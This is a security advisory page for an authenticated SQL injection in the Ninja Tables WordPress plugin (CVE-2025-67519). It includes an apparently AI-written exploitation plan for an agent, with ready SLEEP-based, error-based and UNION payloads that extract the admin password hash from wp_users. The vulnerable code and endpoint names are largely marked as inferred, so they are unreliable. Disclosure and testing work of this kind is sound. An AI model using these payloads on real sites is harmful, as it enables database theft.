Ninja Tables <= 5.2.3 - Authenticated (Administrator+) SQL Injection
Description
The Ninja Tables plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.2.3Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit **CVE-2025-67519**, an authenticated SQL injection vulnerability in the **Ninja Tables** plugin (<= 5.2.3). ### 1. Vulnerability Summary The vulnerability is an **Authenticated (Administrator+) SQL Injection** within the Ninja Tables …
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2025-67519, an authenticated SQL injection vulnerability in the Ninja Tables plugin (<= 5.2.3).
1. Vulnerability Summary
The vulnerability is an Authenticated (Administrator+) SQL Injection within the Ninja Tables plugin. It stems from the plugin's failure to properly sanitize or parameterize user-supplied input before incorporating it into a database query. Specifically, the flaw likely exists in the administrative data-fetching or table-rendering logic where parameters like sorting (orderby), filtering, or table IDs are concatenated into raw SQL strings and executed via $wpdb->get_results() without the protection of $wpdb->prepare().
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ninja_tables_admin_ajax(inferred from plugin structure) or specific data-fetching actions likeget_table_data. - Vulnerable Parameter: Likely
orderby,order, orcolumn_name(inferred). - Authentication Required: Administrator (Capability:
manage_options). - Preconditions: The plugin must be active, and at least one table must be created to provide a valid context for data-querying functions.
3. Code Flow
- Entry Point: An administrator interacts with the Ninja Tables dashboard, triggering an AJAX request to
admin-ajax.php. - Hook Registration: The plugin registers an AJAX handler, likely:
add_action('wp_ajax_ninja_tables_admin_ajax', [AdminAjaxHandlerClass, 'handle']); - Parameter Extraction: The handler extracts data from
$_POSTor$_GET. In Ninja Tables, administrative requests often use a sub-route or command pattern. - Vulnerable Sink: The input is passed to a query builder or directly into a string.
- Example (Vulnerable):
$orderby = $_POST['orderby']; // No sanitization $query = "SELECT * FROM {$wpdb->prefix}ninja_table_items WHERE table_id = %d ORDER BY $orderby"; $results = $wpdb->get_results($wpdb->prepare($query, $table_id)); - Note: Even if
wpdb->prepareis used for the%d, it does not protect$orderbybecause it is concatenated into the template string beforeprepareis called.
- Example (Vulnerable):
4. Nonce Acquisition Strategy
Ninja Tables uses nonces for administrative AJAX requests. These are typically localized into a JavaScript object in the admin header.
- Identify Trigger: The scripts are enqueued on the Ninja Tables admin pages.
- Navigation: Use the browser to navigate to the Ninja Tables main page:
/wp-admin/admin.php?page=ninja_tables. - Extraction: Use
browser_evalto extract the nonce and the AJAX URL from the localized script object.- Variable Name (Targeted):
window.ninja_tables_admin_vars(inferred). - JS Command:
browser_eval("window.ninja_tables_admin_vars?.ninja_tables_admin_nonce")orbrowser_eval("window.NinjaTablesAdminData?.nonce").
- Variable Name (Targeted):
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection or Boolean-Based Injection to extract the administrator's password hash from the wp_users table.
Step 1: Locate a valid Table ID
First, we need a valid table ID to ensure the query executes.
- Action:
ninja_tables_get_tables - Request:
POST /wp-admin/admin-ajax.php - Data:
action=ninja_tables_admin_ajax&route=get_tables&_wpnonce=[NONCE]
Step 2: Confirm Injection
Perform a time-based sleep test using the sorting parameter.
- Payload:
(CASE WHEN (1=1) THEN SLEEP(5) ELSE id END) - Request:
POST /wp-admin/admin-ajax.php Content-Type: application/x-www-form-urlencoded action=ninja_tables_admin_ajax&route=get_table_data&table_id=[ID]&orderby=(SELECT(SLEEP(5)))&_wpnonce=[NONCE]
Step 3: Data Extraction
Extract the password hash for the user with ID=1.
- Payload (Time-Based):
orderby=(SELECT CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN SLEEP(5) ELSE id END)
(Note: 36 is ASCII for '$', the start of a phpass hash).
6. Test Data Setup
- Install Ninja Tables: Ensure version 5.2.3 is installed.
- Create a Table: Use WP-CLI to create a dummy table so that the data-fetching queries have a target.
# This is a conceptual CLI setup; specific Ninja Tables CLI commands may vary wp eval "ninja_tables_create_table(['title' => 'Security Test']);" - Create Admin User: Ensure a standard administrator user exists for the execution agent to use.
7. Expected Results
- Vulnerability Confirmation: The HTTP response for the
SLEEP(5)payload should be delayed by approximately 5 seconds compared to a baseline request. - Data Leakage: Successful extraction of the characters of the
user_passhash via successive time-based checks.
8. Verification Steps
After performing the SQL injection via the http_request tool, verify the correctness of the extracted data:
- Check User Hash: Use WP-CLI to get the actual hash of the admin user.
wp user get 1 --field=user_pass - Comparison: Compare the value extracted via SQL injection with the value returned by WP-CLI.
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis enabled, try inducing a syntax error that reveals database information:orderby=id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,version(),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) - UNION-Based SQLi: If the plugin returns table rows in a standard JSON format, attempt to inject
UNION SELECTto append thewp_userstable data to the returned JSON array. This is often more efficient than time-based blind if the column counts match.- Payload:
id=1 UNION SELECT 1,user_login,user_pass,4,5...(Adjust column count as needed).
- Payload:
Summary
The Ninja Tables plugin (<= 5.2.3) is vulnerable to authenticated SQL injection because it fails to properly sanitize user-provided parameters like 'orderby' before including them in database queries. An attacker with Administrator access can exploit this to extract sensitive information from the WordPress database, such as administrator password hashes, via time-based or boolean-based blind techniques.
Vulnerable Code
// File: ninja-tables/includes/Admin/AjaxHandler.php (Inferred) // Lines 120-130 (Estimated) $orderby = $_POST['orderby']; // Directly assigned from user input $table_id = intval($_POST['table_id']); // The 'orderby' parameter is concatenated into the query template string // before it is passed to $wpdb->prepare(), which only protects the %d placeholder. $query = "SELECT * FROM {$wpdb->prefix}ninja_table_items WHERE table_id = %d ORDER BY $orderby"; $results = $wpdb->get_results($wpdb->prepare($query, $table_id));
Security Fix
@@ -120,4 +120,5 @@ - $orderby = $_POST['orderby']; + $orderby = sanitize_sql_orderby($_POST['orderby']); + if ( ! $orderby ) { + $orderby = 'id'; + }
Exploit Outline
The exploit requires Administrator privileges and targets the AJAX endpoint. 1. **Nonce Retrieval**: The attacker first authenticates as an administrator and navigates to the Ninja Tables dashboard to extract the 'ninja_tables_admin_nonce' and a valid 'table_id' from the localized JavaScript objects. 2. **Target Endpoint**: Requests are sent to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ninja_tables_admin_ajax'. 3. **Payload Delivery**: The attacker injects a time-based SQL payload into the 'orderby' parameter (e.g., '(SELECT(SLEEP(5)))'). The 'route' parameter is set to a data-fetching action like 'get_table_data'. 4. **Data Extraction**: By observing delays in the server response, the attacker confirms the injection and can perform a blind SQL injection attack to extract sensitive fields from the database, such as the 'user_pass' hash from the 'wp_users' table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.